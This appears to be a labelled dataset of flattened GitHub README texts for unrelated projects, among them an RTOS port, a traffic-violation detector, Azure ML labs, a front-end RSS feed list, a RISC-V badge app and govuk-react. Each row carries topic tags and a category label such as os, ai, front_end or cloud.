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rtos_tc32 | readme 12 07 2016 added led and debug output for verifying tasks porting still going on but basically it will run malloc and other memory features still ongoing 11 29 2016 added context swith code more coming in the next few days md this is a draft skeleton of the tc32 rtos code and sample drivers you will need the full toolchain and sdk perhaps openocd some limitation at this stage newlib support is limited tc32 mcu does not support floating point math by default all floating points are emulated if you insist that you need the floating point chat with telink staff to see if there is a math library that you can use mcu and guidelines are available with the source code under doc directory it will need to be updated but it will work for most of your tasks what is this repository for freertos over 8269 version 0 1 how do i get set up summary of set up configuration dependencies deployment instructions contribution guidelines writing tests code review other guidelines who do i talk to repo owner or admin other community or team contact | os |
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Traffic-Signal-Violation-Detection-System | traffic signal violation detection system using computer vision h3 a href https youtu be pxhkkluk qm target blank project video demonstration a h3 h3 a href https drive google com open id 1h5rjhpj0ck5yq2 3vwwo4cwzt1nxtevb project report a h3 h3 a href https drive google com open id 1l46h2pntbllcifshwsmtor vlvnsa4gu project slide a h3 br violation detection frame images violation detection frame red jpg intro img src images workflow diagram jpg alt workflow diagram align right width 250 this is a software for practice of developing a system from completely scratch understanding this will help a lot in system development and basic structure of a system along with computer vision gui with python library tkinter and basic opencv go here quick starting the project if you don t have time table of content motivation motivation introduction introduction objectives objectives quick starting the project quick starting the project system overview system overview methodology methodology vehicle classification vehicle classification violation detection violation detection implementation implementation computer vision computer vision graphical user interface graphical user interface contributing contributing links and references links and references author author licensing licensing motivation this project is made for the third year second semester system development cse 3200 course introduction the increasing number of cars in cities can cause high volume of traffic and implies that traffic violations become more critical nowadays in bangladesh and also around the world this causes severe destruction of property and more accidents that may endanger the lives of the people to solve the alarming problem and prevent such unfathomable consequences traffic violation detection systems are needed for which the system enforces proper traffic regulations at all times and apprehend those who does not comply a traffic violation detection system must be realized in real time as the authorities track the roads all the time hence traffic enforcers will not only be at ease in implementing safe roads accurately but also efficiently as the traffic detection system detects violations faster than humans this system can detect traffic light violation in real time a user friendly graphical interface is associated with the system to make it simple for the user to operate the system monitor traffic and take action against the violations of traffic rules objectives the goal of the project is to automate the traffic signal violation detection system and make it easy for the traffic police department to monitor the traffic and take action against the violated vehicle owner in a fast and efficient way detecting and tracking the vehicle and their activities accurately is the main priority of the system quick starting the project 1 git clone https github com anmspro traffic signal violation detection system git 2 change the directories in project gui py object detection py 3 if the yolov3 weights is not accessible download the file from this a href https pjreddie com media files yolov3 weights target blank link a 4 install required python dependencies into your python virtual environment 5 python project gui py system overview system overview images system flowchart jpg figure 1 flow diagram of traffic signal violation detection system the system consists of two main components vehicle detection model a graphical user interface gui first the video footage from the road side is sent to the system vehicles are detected from the footage tracking the activity of vehicles system determines if there is any violation or not figure 1 shows how the system works the graphical user interface gui makes the system interactive for the user to use user can monitor the traffic footage and get the alert of violation with the detected bounding box of vehicle user can take further action using the gui methodology vehicle classification from the given video footage moving objects are detected an object detection model yolov3 is used to classify those moving objects into respective classes yolov3 is the third object detection algorithm in yolo you only look once family it improved the accuracy with many tricks and is more capable of detecting objects the classifier model is built with darknet 53 architecture table 1 shows how the neural network architecture is designed darknet architecture images darknet 53 png violation detection the vehicles are detected using yolov3 model after detecting the vehicles violation cases are checked a traffic line is drawn over the road in the preview of the given video footage by the user the line specifies that the traffic light is red violation happens if any vehicle crosses the traffic line in red state the detected objects have a green bounding box if any vehicle passes the traffic light in red state violation happens after detecting violation the bounding box around the vehicle becomes red implementation computer vision opencv is an open source computer vision and machine learning software library which is used in this project for image processing purpose tensorflow is used for implementing the vehicle classifier with darknet 53 graphical user interface gui the graphical user interface has all the options needed for the software the software serves administration and other debugging purposes we don t need to edit code for any management for example if we need to open any video footage we can do it with the open item figure 2 figure 2 images initial view jpg figure 2 initial user interface view primarily for the start of the project usage the administrator needs to open a video footage using open item that can be found under file figure 2 the administrator can open any video footage from the storage files figure 3 figure 3 images open video jpg figure 3 opening a video footage from storage after opening a video footage from storage the system will get a preview of the footage the preview contains a frame from the given video footage the preview is used to identify roads and draw a traffic line over the road the traffic line drawn by administrator will act as a traffic signal line to enable the line drawing feature we need to select region of interest item from the analyze option figure 4 after that administrator will need to select two points to draw a line that specifies traffic signal figure 4 images select region of interest jpg figure 4 region of interest drawing signal line selecting the region of interest will start violation detection system the coordinates of the line drawn will be shown on console figure 5 the violation detection system will start immediately after the line is drawn at first the weights will be loaded then the system will detect objects and check for violations the output will be shown frame by frame from the gui figure 6 figure 5 images line coordinates jpg figure 5 line coordinates from console figure 6 images violation detection frame jpg figure 6 final output on each frame the system will show output until the last frame of the footage in background a output mp4 will be generated the file will be in output folder of resources the process will be immediately terminated by clicking q after processing a video footage the administrator can add another video footage from the initial file manager figure 2 if the work is complete the administrator can quit using exit item from file option libraries used for graphical user interface tkinter contributing the main reason to publish something open source is that anyone can just jump in and start contributing to my project so if you d like to contribute please fork the repository and use a feature branch pull requests are warmly welcome links and references project homepage https github com anmspro traffic signal violation detection system repository https github com anmspro traffic signal violation detection system git issue tracker https github com anmspro traffic signal violation detection system issues g ou y gao and y liu real timevehiculartrafficviolationdetectionintrafficmonitorin gstream in 2012 ieee wic acm beijing china 2012 x wang l m meng b zhang j lu and k l du a video based traffic violation detection system in mec shenyang china 2013 joseph redmon and ali farhadi yolov3 an incremental improvement https machinelearningmastery com how to perform object detection with yolov3 in keras in case of any help you may need from me please contact abunomanmd sakib gmail com directly without any hesitation i will be glad to help you author abu noman md sakib pias roy br abunomanmd sakib gmail com br pias kuet gmail com br student at department of computer science and engineering br khulna university of engineering technology khulna br bangladesh b supervised under b br mahmudul hasan shauqi br mahmudulhasanshauqi gmail com br lecturer br dept of computer science and engineering br khulna university of engineering technology br licensing the code in this project is licensed under gnu gplv3 license stargazers over time stargazers over time https starchart cc anmspro traffic signal violation detection system svg | computer-vision tensorflow tkinter yolov3 opencv traffic-violation-detection traffic-signal python hacktoberfest object-detection | ai |
dust | https dcbadge vercel app api server 8njr3zqu5x compact true style flat https discord gg 8njr3zqu5x twitter https img shields io twitter url svg label follow 20 40dust4ai style social url https 3a 2f 2ftwitter com dust4ai https twitter com dust4ai dust https dust tt design and deploy large language model apps book documentation portal llm apps primer https docs dust tt introduction developer platform overview https docs dust tt overview blocks documentation https docs dust tt core blocks getting started guide https docs dust tt quickstart runs api reference https docs dust tt runs questions help join our discord https discord gg 8njr3zqu5x | large-language-models rust | ai |
Workshop-Swift-for-beginners | workshop swift for beginners this repo contains the materials for the workshop swift for beginners in cityquiz you can find the app that we are going to develop during the workshop inside there are folders with all the steps of the workshop and another one with the final version of the app city quiz p align center kbd img width 338 height 600 src https github com ananogal workshop swift for beginners blob master cityquiz png border 1px solid 021a40 kbd p this app consists in 4 images and in every round you will be asked to match a city to the images you have to select one of the images and see if you selected the correct one every time you select an image you ll see an alert telling you if you hit was correct or not for each round you receive a score you can reset your game and start all over again | workshop swift quiz beginner first-app | front_end |
cloud-data-warehouses-udend | introduction and purpose as a startup in the music streaming industry we want want to analyze the data which we ve been collecting on songs and user activity the analytics team is particularly interested in understanding what songs users are listening to we want to provide data in a format which makes it easier for them to do so first we ll define and create new fact and dimension tables according to the star schema which makes it easy and efficient to execute analytical join queries then we ll build an etl pipeline to first load data from s3 into staging tables on redshift and then process and insert that data into our final analytics tables on redshift database schema design and etl pipeline songplays is our fact table this contains records in log data associated with song plays data is filtered to contain only information associated with nextsong page we ve implemented auto incremental identity key value for songplay id start time is the sortkey as this column will be commonly used in where clauses song id is the distkey as as this column will be commonly used to join other tables users is our dimension table this contains records of all the users in the app it contans name of the user gender and level of subscription of the app user id is the sortkey as this column will be commonly used in where clauses songs is our dimension table this contains records of all songs in the music database it contains song title year of release and duration song id is the sortkey and distkey as this column will be commonly used in where clauses and in joins artists is our dimension table this contains records of all artists in music database it contains name of the artist and location details artist id is the sortkey as this column will be commonly used in where clauses time is our dimension table this contains records of all timestamps of records in songplays broken down into specific units date time data is broken down into hour day week month year weekday columns start time is the sortkey as this column will be commonly used in where clauses how to run python scripts and description of the files sql queries py is where we have defined all the table drop create queries and copy insert statements create tables py has all the functions which executes the create table queries from the sql queries py executing this will establish connection with the redshift and create the defined tables etl py is where we process data from all the log and song json files with the etl pipeline developed in etl ipynb file dwh cfg is where we store informations about credentials cluster specifications etc | cloud |
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Music_Player | music player screen shots img src https github com nachiket497 music player blob main musicplayer0 iml jpg alt drawing width 200 img src https github com nachiket497 music player blob main musicplayer png alt drawing width 200 img src https github com nachiket497 music player blob main musicplayer2 png alt drawing width 200 img src https github com nachiket497 music player blob main musicplayer3 png alt drawing width 200 img src https github com nachiket497 music player blob main musicplayer4 png alt drawing width 200 description it contaions mainactivity java player java audiomodel java getdata java classes player java is used for playing songs getdata java is use for getting music list from the android audiomodel java is an datastructure containg the details of song like path title album name artist also cover image mainactivity is the driver class but most of the player fuctions are implemented in player java there are 5 xml file activity main xml music player xml and remaning 3 are the remote view for notification acrivity main xml contain layout for list of the songs from the android music player java contains the layout for the music player in music player i implemented basic feactures like play plause next privious shuffle loop and seak bar too from notification we can access play pause next and privious buttons in this way the simple music player is created | front_end |
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hol-azure-machine-learning | azure machine learning hands on labs this content is designed for audience without any prior machine learning knowledge it starts from very basics and goes to advanced topics we will try to keep this content live and include more and more advanced lab sessions with real life scenarious thanks for your support and feedback to make this content better suggested timeline for azure machine learning hands on lab hol time min activity 50 introduction to machine learning 000 into machine learning pptx 20 lab1 setting up development environment 001 lab setup md 45 lab2 introduction to r python data synth 002 lab data synth md 45 lab3 azureml experiments data interaction 003 lab data interact md 60 lab4 develop and consume azureml models 004 lab azureml experiment md 45 lab5 custom scripts r python in aml 005 lab custom script r python md 60 lab6 evaluate model performance in aml 006 lab model evaluation md 60 lab7 azure ml batch score retrain production and automatization 007 lab production ops md 45 lab8 recommendation system 008 lab recommendation system md 45 lab9 monetizing azure ml solution 009 lab monetization md 90 lab10 case study optical character recognition 010 lab cs ocr md detailed contents of the hol introduction to machine learning 000 into machine learning pptx 1 setting up development environment 001 lab setup md overview objectives requirements create free tier azure ml account create standard tier azure ml account install r and r studio install anaconda python 2 introduction to r python data synth 002 lab data synth md overview objectives requirements generate synthetic data microsoft excel r python microsoft azure sql server microsoft azure blob storage other dataset sources 3 azureml experiments data interaction 003 lab data interact md overview objectives requirements creating azureml experiment accessing data access data use existing dataset upload your own dataset upload your own compressed dataset manually enter data access data on azure storage access data on azure sql database get data from an http web request 4 develop and consume azureml models 004 lab azureml experiment md overview objectives requirements working with azureml models training a model publishing a trained model as web service removing web service redundant input output parameters consume the ml web service in a c application input data type 5 custom scripts r python in aml 005 lab custom script r python md overview objectives requirements r python script modules using execute r script module using python script module r python compatibility with azure ml 6 evaluate model performance in aml 006 lab model evaluation md overview objectives requirements performance evaluation splitting data scoring the model evaluate a regression model evaluate more than one model cross validation performance evaluation cont evaluate a binary classification model comparing two binary classification model cross validation on binary classification evaluating a multi class classification model feature engineering which feature is or is not important simpler method to measure a feature s importance 7 azure ml batch score retrain production and automatization 007 lab production ops md overview objectives requirements importance of retraining seeing the whole picture batch and request response scoring web services stages to create a scoring web service request response service rrs batch execution service bes web service input output parameter alternatives azure ml retraining 8 recommendation system 008 lab recommendation system md overview objectives requirements generate synthetic data recommend items to users find related users find related items what to recommend for a brand new user 9 monetizing azure ml solution 009 lab monetization md overview objectives requirements azure ml web service details create azure management api service cors issue with azure machine learnin web services restrict or rate limit your web service test and publish your web service 10 case study optical character recognition 010 lab cs ocr md overview objectives requirements exploring and understanding the dataset process minst database in azure ml with python script generate image tiles azure ml solution for ocr develope azure ml experiment deploy as webservice parameters needed to publish with management api consuming the ml solution security of the api develop web application publish as azure web application test the solution refine features feature engineering | ai |
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frontend-feeds | frontend feeds an up to date list of rss feeds for front end developers overhauled as of march 2020 see 2020 blog post https www impressivewebs com frontend rss feeds 2020 despite the death of google reader i still use rss regularly and i think lots of others in the industry do too mdash but probably not as frequently as we used to this list was originally inspired by paul irish s list of front end feeds from 2011 https www paulirish com 2011 web browser frontend and standards feeds to follow but it s evolved quite a bit since then i built my own list which i published in 2014 https www impressivewebs com frontend rss feeds revisited but i felt like it needed another refresh the feeds list has been updated multiple times since march 2020 to correct some broken feeds and other issues the feeds list is divided into six sections which i find is easier to digest when perusing it all weekly or even daily 1 the giants the giants 2 multi author blogs multi author blogs 3 top front end bloggers top front end bloggers 4 more front end bloggers more front end bloggers 5 hackernoon tags hackernoon tags 6 browsers engines etc browsers engines etc 7 libraries frameworks etc libraries frameworks etc 8 company amp startup blogs company startup blogs 9 developer amp designer news developer designer news 10 q amp a sites amp forums qa sites forums 11 youtube channels youtube channels i ve excluded some feeds from this list for one or more of the following reasons the blog site hasn t been updated in a long time posts are very infrequent e g 2 per year or fewer too many personal posts and other things that have nothing to do with web development with no way to filter too many list posts sponsored content etc paywalls e g i ve excluded most medium feeds suggestions this is always a work in progress so i m happy to take suggestions even if it s your own feed so please contribute by opening an issue the list of feeds is in an opml file https file org extension opml that you can use to import directly into your feed reader of choice you ll also find the full list below with links to the rss feed and the primary url of the feed if you just want to pick and choose your own the list of feeds here is the full list of feeds categorized the same way as in the opml file and each category is in alphabetical order same as in the opml file the giants these are the sites with the most traffic most popular etc ul li a href https tympanus net codrops feed rss a a href https tympanus net codrops codrops a li li a href https css tricks com feed rss a a href https css tricks com css tricks a li li a href https dev to feed rss a a href https dev to dev community a li li a href https code tutsplus com posts atom rss a a href https code tutsplus com envato tuts code a li li a href https hnrss org frontpage rss a a href https news ycombinator com hacker news a li li a href https hackernoon com feed rss a a href https hackernoon com hackernoon a li li a href https www sitepoint com feed rss a a href https www sitepoint com sitepoint a li li a href https www smashingmagazine com feed rss a a href https www smashingmagazine com articles smashing magazine a li ul multi author blogs these are large blogs websites similar to the ones in the previous category that feature multiple authors ul li a href https 1stwebdesigner com feed rss a a href https 1stwebdesigner com 1stwebdesigner a li li a href https www 24a11y com feed rss a a href https www 24a11y com 24 accessibility a li li a href https feeds feedburner com 24ways rss a a href https 24ways org 24 ways a li li a href https www 30secondsofcode org feed rss a a href https www 30secondsofcode org 30 seconds of code a li li a href https alistapart com main feed rss a a href https alistapart com a list apart a li li a href https blog bitsrc io feed rss a a href https blog bitsrc io bits and pieces a li li a href https www codeinwp com feed rss a a href https www codeinwp com codeinwp a li li a href https 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harry cresswell a li li a href https hswolff com rss xml rss a a href hswolff com harry wolff a li li a href https heydonworks com feed xml rss a a href https heydonworks com heydon pickering a li li a href https hiddedevries nl rss full rss a a href https hiddedevries nl en blog hidde de vries a li li a href https foobartel com notes feed rss a a href https foobartel com holger bartel a li li a href https hussein alhammad com blog rss xml rss a a href https hussein alhammad com blog hussein al hammad a li li a href https bitsofco de rss rss a a href https bitsofco de ire aderinokun a li li a href https www jackfranklin co uk feed xml rss a a href https www jackfranklin co uk jack franklin a li li a href https jrsinclair com index rss rss a a href https jrsinclair com james sinclair a li li a href https feeds feedburner com perishablepress rss a a href https perishablepress com jeff starr a li li a href https jameshfisher com feed xml rss a a href https jameshfisher com jim fisher a li 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marcus hermann a li li a href https feeds feedburner com mariusschulz rss a a href https mariusschulz com marius schulz a li li a href https blog isquaredsoftware com index xml rss a a href https blog isquaredsoftware com mark erikson a li li a href https markosaric com feed rss a a href https markosaric com marko saric a li li a href https betterwebtype com feed xml rss a a href https betterwebtype com feed xml matej latin a li li a href https mxstbr blog feed atom rss a a href https mxstbr blog max stoiber a li li a href https justmarkup com feed feed xml rss a a href https justmarkup com log michael scharnagl a li li a href https michaelnthiessen com rss xml rss a a href https michaelnthiessen com articles michael thiessen a li li a href https css irl info rss xml rss a a href https css irl info michelle barker a li li a href https www madebymike com au feed xml rss a a href https www madebymike com au mike riethmuller a li li a href https mike sherov com rss xml rss a a href https mike sherov com mike sherov a li li a href https miketaylr com posts rss xml rss a a href https miketaylr com posts mike taylor a li li a href https programmingwithmosh com feed rss a a href https programmingwithmosh com mosh hamedani a li li a href https typeofnan dev rss xml rss a a href https typeofnan dev nick scialli a li li a href https paul kinlan me index xml rss a a href https paul kinlan me paul kinlan a li li a href https philna sh feed xml rss a a href https philna sh phil nash a li li a href https www prestonlamb com blog feed xml rss a a href https www prestonlamb com preston lamb a li li a href https www digitala11y com feed rss a a href https www digitala11y com raghavendra satish peri a li li a href https www raymondcamden com feed xml rss a a href https www raymondcamden com raymond camden a li li a href https raganwald com atom xml rss a a href https raganwald com reginald braithwaite a li li a href https pqina nl feed xml rss a a href https pqina nl rik schennink a li li a href https htmlcssjavascript com feed rss a a href https htmlcssjavascript com rob larsen a li li a href https feeds feedburner com robertnyman rss a a href https robertnyman com robert s nyman a li li a href https www robinosborne co uk feed rss a a href https www robinosborne co uk robin osborne a li li a href https www robinwieruch de index xml rss a a href https www robinwieruch de robin wieruch a li li a href https fossheim io feed xml rss a a href https fossheim io writing sarah l fossheim a li li a href https www scottohara me feed xml rss a a href https scottohara me scott o hara a li li a href https scottvinkle me blogs work atom rss a a href https scottvinkle me blogs work scott vinkle a li li a href https www swyx io rss xml rss a a href https swyx io sean wang a li li a href https catchts com api rss rss a a href https catchts com serhii bilyk a li li a href https blog sindresorhus com feed rss a a href https blog sindresorhus com sindre sorhus a li li a href https www voorhoede nl blog feed xml rss a a href https www voorhoede nl en blog sjoerd de voorhoede a li li a href https moderncss dev feed rss a a href https moderncss dev stephanie eckles a li li a href https www stefanjudis com rss xml rss a a href https www stefanjudis com stefan judis a li li a href https blog stephaniestimac com feed feed xml rss a a href https blog stephaniestimac com stephanie stimac a li li a href https stephaniewalter design feed rss a a href https stephaniewalter design st phanie walter a li li a href https alwaystwisted com rss php rss a a href https alwaystwisted com stuart robson a li li a href https swizec com blog feed rss a a href https swizec com blog swizec teller a li li a href https lihautan com rss xml rss a a href https lihautan com tan li hau a li li a href https www taniarascia com rss xml rss a a href https www taniarascia com tania rascia a li li a href https iamtimsmith com feed rss a a href https www iamtimsmith com tim smith a li li a href https www trysmudford com blog index xml rss a a href https www trysmudford com blog trys mudford a li li a href https thecodebarbarian com feed xml rss a a href https thecodebarbarian com valeri karpov a li li a href https viljamis com atom xml rss a a href https viljamis com viljami salminen a li li a href https zellwk com feed xml rss a a href https zellwk com zell liew a li ul hackernoon tags hackernoon has a ton of material so i ve divided their feed into categories most relevant to front end developers ul li a href https hackernoon com tagged css feed rss a a href https hackernoon com tagged css hacker noon css a li li a href https hackernoon com tagged coding feed rss a a href https hackernoon com tagged coding hacker noon coding a li li a href https hackernoon com tagged frontend feed rss a a href https hackernoon com tagged frontend hacker noon frontend a li li a href https hackernoon com tagged javascript feed rss a a href https hackernoon com tagged javascript hacker noon javascript a li li a href https hackernoon com tagged programming feed rss a a href https hackernoon com tagged programming hacker noon programming a li li a href https hackernoon com tagged react feed rss a a href https hackernoon com tagged react hacker noon react a li ul browsers engines etc these are browser blogs and feeds for technologies related to search developer specifications browser engines etc ul li a href https adblockplus org atom section blog rss a a href https adblockplus org adblock plus blog a li li a href https blog amp dev feed rss a a href https blog amp dev amp blog a li li a href https brave com feed rss a a href https brave com brave blog a li li a href https blog google products chrome rss rss a a href https blog google products chrome chrome blog a li li a href https blog chromium org feeds posts default rss a a href https blog chromium org chromium blog a li li a href https spreadprivacy com rss rss a a href https spreadprivacy com duckduckgo blog a li li a href https blog freedomscientific com feed rss a a href https blog freedomscientific com freedom scientific a li li a href https developers googleblog com feeds posts default rss a a href https developers googleblog com google developers blog a li li a href https developer chrome com feeds blog xml rss a a href https developer chrome com blog google developers updates a li li a href https webmasters googleblog com feeds posts default rss a a href https webmasters googleblog com google webmaster central blog a li li a href https blog mozilla org accessibility feed rss a a href https blog mozilla org accessibility mozilla accessibility a li li a href https blog mozilla org feed rss a a href https blog mozilla org mozilla blog a li li a href https hacks mozilla org feed rss a a href https hacks mozilla org mozilla hacks a li li a href https blogs windows com msedgedev feed rss a a href https blogs windows com msedgedev ms edge blog a li li a href https blogs opera com news feed rss a a href https blogs opera com news opera news a li li a href https v8 dev blog atom rss a a href https v8 dev v8 blog a li li a href https code visualstudio com feed xml rss a a href https code visualstudio com visual studio code a li li a href https www w3 org blog feed rss a a href https www w3 org blog w3c blog a li li a href https www w3 org blog news feed rss a a href https www w3 org blog news w3c news a li li a href https www w3 org wai feed xml rss a a href https www w3 org wai web accessibility initiative a li li a href https webaim org blog feed rss a a href https webaim org blog webaim blog a li li a href https webkit org feed rss a a href https webkit org blog webkit blog a li li a href https blog whatwg org feed rss a a href https blog whatwg org whatwg blog a li ul libraries frameworks etc these are the official blogs for coding related tools like frameworks or javascript libraries ul li a href https blog angular io feed rss a a href https blog angular io angular blog a li li a href https babeljs io blog atom xml rss a a href https babeljs io blog babel js blog a li li a href https blog getbootstrap com feed xml rss a a href https blog getbootstrap com bootstrap blog a li li a href https greensock com blog rss 1 rss a a href https greensock com blog gsap blog a li li a href https inclusive components design rss rss a a href https inclusive components design inclusive components a li li a href https nodejs org en feed blog xml rss a a href https nodejs org en node js blog a li li a href https reactjs org feed xml rss a a href https reactjs org react blog a li li a href https sass lang com feed xml rss a a href https sass lang com blog sass blog a li li a href https news ycombinator com showrss rss a a href https news ycombinator com show hn a li li a href https svelte dev blog rss xml rss a a href https svelte dev blog svelte blog a li li a href https tailwindcss com feeds feed xml rss a a href https tailwindcss com blog tailwind css blog a li li a href https news vuejs org feed xml rss a a href https news vuejs org vue js news a li li a href https medium com feed the vue point rss a a href https medium com the vue point the vue point a li ul company amp startup blogs these are similar to the multi author blogs but are blogs tied to a specific product startup company etc ul li a href https americanexpress io feed xml rss a a href https americanexpress io amex technology a li li a href https auth0 com blog rss xml rss a a href https auth0 com blog auth0 blog a li li a href https axesslab com feed rss a a href https axesslab com axess lab a li li a href https bocoup com feed rss a a href https bocoup com bocoup a li li a href https calibreapp com blog rss xml rss a a href https calibreapp com calibre a li li a href https cloudfour com feed rss a a href https cloudfour com cloud four a li li a href https blog cloudflare com rss rss a a href https blog cloudflare com cloudflare blog a li li a href https blog codepen io feed rss a a href https blog codepen io codepen blog a li li a href https www debugbear com blog feed rss rss a a href https www debugbear com blog debugbear blog a li li a href https www etsy com codeascraft rss rss a a href https www etsy com codeascraft etsy engineering a li li a href https engineering fb com feed rss a a href https engineering fb com facebook engineering a li li a href https getflywheel com layout feed rss a a href https getflywheel com layout flywheel blog a li li a href https github blog feed rss a a href https github blog the github blog a li li a href https github blog engineering atom rss a a href https github blog github engineering a li li a href https blog heroku com feed rss a a href https blog heroku com heroku blog a li li a href https instagram engineering com feed rss a a href https instagram engineering com instagram engineering a li li a href https blog logrocket com feed rss a a href https blog logrocket com logrocket a li li a href https www machmetrics com speed blog feed rss a a href https www machmetrics com speed blog machmetrics speed blog a li li a href https netflixtechblog com feed rss a a href https netflixtechblog com netflix techblog a li li a href https www shimmercat com feed xml rss a a href https www shimmercat com shimmercat a li li a href https shopify engineering blog atom rss a a href https engineering shopify com blogs engineering shopify engineering a li li a href https speedcurve com blog rss rss a a href https speedcurve com blog speed matters blog a li li a href https feeds feedburner com giantrobotssmashingintoothergiantrobots rss a a href https thoughtbot com blog thoughtbot a li li a href https blog twitter com engineering en us blog rss rss a a href https blog twitter com engineering en us html twitter engineering a li li a href https volument com rss xml rss a a href https volument com blog volument blog a li ul developer amp designer news these are feeds that focus on news links etc in other words feeds within feeds ul li a href https tympanus net codrops collective feed rss a a href https tympanus net codrops codrops collective a li li a href https dailydevlinks com feed rss a a href https dailydevlinks com dailydevlinks a li li a href https www designernews co format atom rss a a href https www designernews co designer news a li li a href https www echojs com rss rss a a href https www echojs com echo js a li li a href https heydesigner com feed rss a a href https heydesigner com heydesigner a li li a href https wdrl info feed rss a a href https wdrl info archive web development reading list wdrl a li li a href https webplatform news feed xml rss a a href https webplatform news web platform news a li li a href https feeds feedburner com webdesignernews rss a a href https www webdesignernews com webdesignernews a li ul q amp a sites amp forums these are category feeds from stack overflow and front end related subreddit feeds from reddit ul li a href https www reddit com r css rss rss a a href https www reddit com r css r css a li li a href https www reddit com r javascript rss rss a a href https www reddit com r javascript r javascript a li li a href https www reddit com r reactjs rss rss a a href https www reddit com r reactjs r reactjs a li li a href https www reddit com r vuejs rss rss a a href https www reddit com r vuejs r vuejs a li li a href https stackoverflow com feeds tag tagnames css amp sort newest rss a a href https stackoverflow com questions tagged tagnames css amp sort newest stack overflow css a li li a href https stackoverflow com feeds tag tagnames javascript amp sort newest rss a a href https stackoverflow com questions tagged tagnames javascript amp sort newest stack overflow javascript a li li a href https stackoverflow com feeds tag tagnames reactjs amp sort newest rss a a href https stackoverflow com questions tagged tagnames reactjs amp sort newest stack overflow react a li li a href https stackoverflow com feeds tag tagnames vue js amp sort newest rss a a href https stackoverflow com questions tagged tagnames vue js amp sort newest stack overflow vue a li ul | front_end |
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riscv-badge-application | risc v electronic badge application copyright c 2017 2021 antmicro https www antmicro com cloning the repository the application is based on the zephyr rtos the code of the zephyr rtos is referenced as a submodule in order to clone the repository and its submodules run the following command sh git clone recursive https github com antmicro riscv badge application git building the application prerequisites in order to build the application and link it against the zephyr rtos the zephyr sdk has to be installed in the system to install the zephyr sdk do the following sh wget https github com zephyrproject rtos meta zephyr sdk releases download 0 9 2 zephyr sdk 0 9 2 setup run chmod x zephyr sdk 0 9 2 setup run zephyr sdk 0 9 2 setup run zephyr itself requires some additional tools to be installed in the system follow the zephyr documentation http docs zephyrproject org getting started installation linux html for requirements building to build the application you need to setup a build environment to do this source the zephyr env sh file from the zephyr directory sh source riscv badge application zephyr zephyr env sh additionally three environment variables have to be set before building the app sh export zephyr gcc variant zephyr export zephyr sdk install dir opt zephyr sdk assuming default sdk install directory export board hifive1 the next step is to create a make environment sh cd riscv badge application badge fe310 mkdir p build cd build cmake to build the application simply run make sh make j nproc the resulting binary is located in the build zephyr directory under zephyr elf binary deployment the device can be programmed using the jtag interface via an ftdi based adapter the ftdi adapter is a part of the module so no additional hardware is required installing the freedom e sdk in order to upload the application to the badge device sifive s freedom e sdk is required download and installation instructions can be found in the sdk s github repository https github com sifive freedom e sdk uploading with the sdk installed you can connect to the board using openocd with the configuration file from the utils directory to establish an openocd connection switch to the utils directory and run sh assuming that the openocd executable s location is in path sudo openocd f openocd quad cfg leave it running and in a different terminal use gdb to upload the binary to the board use the risc v gdb from sifive s freedom e sdk toolchain before loading the device s flash protection has to be disabled in order to load the binary to the device run the following commands in the gdb terminal sh gdb gdb set remotetimeout 240 gdb target extended remote localhost 3333 gdb monitor reset halt gdb monitor flash protect 0 64 last off gdb load path to repository build zephyr zephyr elf gdb monitor resume connecting to the board the board uses a quad usb chip so it will show up in the system as four tty devices zephyr standard output will launch on the third interface use your favorite com terminal e g picocom to connect with the board the default baud rate is 115200 | os |
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ECEN4213 | ecen4213 embedded computer system design lab | os |
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Thymos-Public | thymos public public releases for thymos cloud engineering | cloud |
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govuk-react | govuk react an implementation of the gov uk design system https govuk design system production cloudapps digital in react https reactjs org using cssinjs https medium com seek blog a unified styling language d0c208de2660 using object notation with styled components https www styled components com docs advanced style objects codecov https codecov io gh govuk react govuk react branch master graph badge svg https codecov io gh govuk react govuk react join the community on spectrum https withspectrum github io badge badge svg https spectrum chat govuk react we aim to track the following projects in priority order as to which components to implement and how they should look behave where possible we are using the existing css as a guide when we need to modify to suit custom markup we aim to provide a comment in our code as to why this was done gov uk frontend https github com alphagov govuk frontend gov uk design system https design system service gov uk source https github com alphagov govuk design system gov uk publishing components https components publishing service gov uk component guide gov uk design system backlog https github com alphagov govuk design system backlog where there are open tickets in the backlog that reference patterns components in existing govuk sites gov uk elements https github com alphagov govuk elements any other established govuk pattern this project is being or has been used by connected open government statistics https github com gss cogs chart builder 2 https github com gss cogs dd cms department for education https github com dfe digital meeting timer department for environment food rural affairs https github com atoscerebro defra wtp 2 https github com defra eutd mmo cc external frontend department for international trade https github com uktrade data science frontend 2 https github com uktrade data hub frontend 3 https github com uktrade statement of works 4 https github com uktrade data hub components department of business energy and industrial strategy https github com ukgovernmentbeis beis cosmetics spa department of health https github com departmentofhealth htbhf htbhf management web ui spike department for environment food and rural affairs https github com defra eutd mmo cc external frontend department for transport https github com fares data build tool fdbt admin food standards agency https github com foodstandardsagency register a food business healthcheck dashboard 2 https github com fsa civica govuk react tree slice and dice packages base hm courts tribunals service https github com hmcts mytime frontend 2 https github com hmcts rse next prototype hm land registry https github com landregistry title token hm passport office https github com ukhomeoffice lev react components hm prison and probation services https github com ministryofjustice prisonstaffhub 2 https github com ministryofjustice prison services feedback and support home office https github com ukhomeoffice system register 2 made tech https github com madetech govuk react form 2 https github com madetech academy20 zingtech frontend ministry of justice https github com ministryofjustice manage key workers 2 https github com ministryofjustice bichard7 next ui london borough of hackney https github com lbhackney it document evidence store frontend public health england uk health security agency https web archive org web 20220216110415if https get home lateral flow testing kit service gov uk static js 2 dad2ad18 chunk js map skills funding agency https github com skillsfundingagency cfs frontend 2 https github com skillsfundingagency das qna config the project is currently maintained for free by a small number of volunteers if you would like to contribute help maintain or sponsor this project please get in touch via discussions https github com govuk react govuk react discussions or twitter https twitter com penx usage sh npm install govuk react styled components types styled components save jsx import button from govuk react const mycomponent title div h1 title h1 button div see the storybook https govuk react github io govuk react for examples of all available components also see the example application packages example application src for basic usage using link with a router link we provide a link component which creates an element styled as a gds link as we are using styled components it is possible to apply that style to an existing component using the as prop other props will be passed through for example jsx import browserrouter link as routerlink from react router import link from govuk react link const mycomponent nav browserrouter link as routerlink to https example com example link browserrouter nav assumptions use of these components assumes the following from the peer project the govuk react globalstyle component is included on all pages the gds transport font face is included for gov uk domains only https www gov uk service manual design making your service look like govuk optionally either normalize css https necolas github io normalize css or sanitize css https csstools github io sanitize css is used as a css reset we don t test for this so please raise an issue if you find any problems with compatibility other than the reset no other styles affecting generic elements without classes ids etc are present in the css why css in js see a unified styling language https medium com seek blog a unified styling language d0c208de2660 this project is part of a larger initiative to componetise large scale react applications using cssinjs allows us to include styles inside a module bundle that can be published using 